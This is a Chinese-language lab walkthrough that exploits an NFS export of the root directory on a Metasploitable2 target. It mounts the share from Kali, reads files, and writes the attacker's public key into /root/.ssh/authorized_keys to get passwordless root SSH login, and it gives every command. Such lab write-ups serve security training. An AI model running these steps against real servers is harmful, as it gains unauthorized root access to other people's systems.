Linux NFS共享目录配置漏洞
- 一、实验目的
- 二、实验原理
- 三、复现准备
- 四、漏洞复现
- 4.1、复现前提
- 4.2、正式复现
一、实验目的
- 利用 NFS共享目录配置漏洞读取目标主机的
/etc/passwd
文件内容 - NFS 服务配置漏洞,赋予了根目录远程可写权限,导致
/root/.ssh/authorized_keys
可被修改,实现远程ssh无密码登陆
二、实验原理
- NFS,用于在网络上共享文件系统的分布式文件系统协议,是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送
- NFS服务配置漏洞赋予了根目录远程可写权限,导致
/root/.ssh/authorized_keys
可被修改,实现远程ssh无密码登录 - 影响系统/软件:
- 所有Linux系统的NFS服务
三、复现准备
- 靶机:Metasplotable2-Linux - 192.168.9.147
- 攻击机:Kali - 192.168.9.148
四、漏洞复现
4.1、复现前提
-
使用nmap扫描靶机的IP地址,可以看到靶机的2049端口开放,且使用了nfs服务
-
尝试查看靶机利用NFS共享的全部文件夹:看到结果是
/ *
这表示将根目录下单全部文件都共享了
showmount -e 192.168.9.147
-
在攻击机上面创建一个根文件夹
/temp1/
,其目的就是映射共享文件夹下的根目录
-
将靶机上的共享文件挂载到该文件上面
mount -t nfs 192.168.9.147:/ /temp1 -o nolock
-
在挂载成功之后我们可以通过
df-h
命令查看所有的本地磁盘的信息
-
输入
cd /temp1
可以进入该文件夹
-
输入
ls -al
可以查看所有的文件
-
我们尝试用ssh服务连接上靶机
- 输入命令
ssh root@192.168.9.147
- 发现需要输入密码,但是我们是不知道密码的
- 输入命令
-
接下来可以利用nfs漏洞实现远程ssh无密码登录
4.2、正式复现
-
生成一组公私钥:
ssh-keygen
- 公私钥存放的地址
/root/.ssh/id_rsa
- 公私钥存放的地址
-
将公钥传输给靶机
cp /root/.ssh/id_rsa.pub /temp1/root/.ssh/authorized_keys
-
传输成功之后再次尝试使用ssh命令连接靶机
-
成功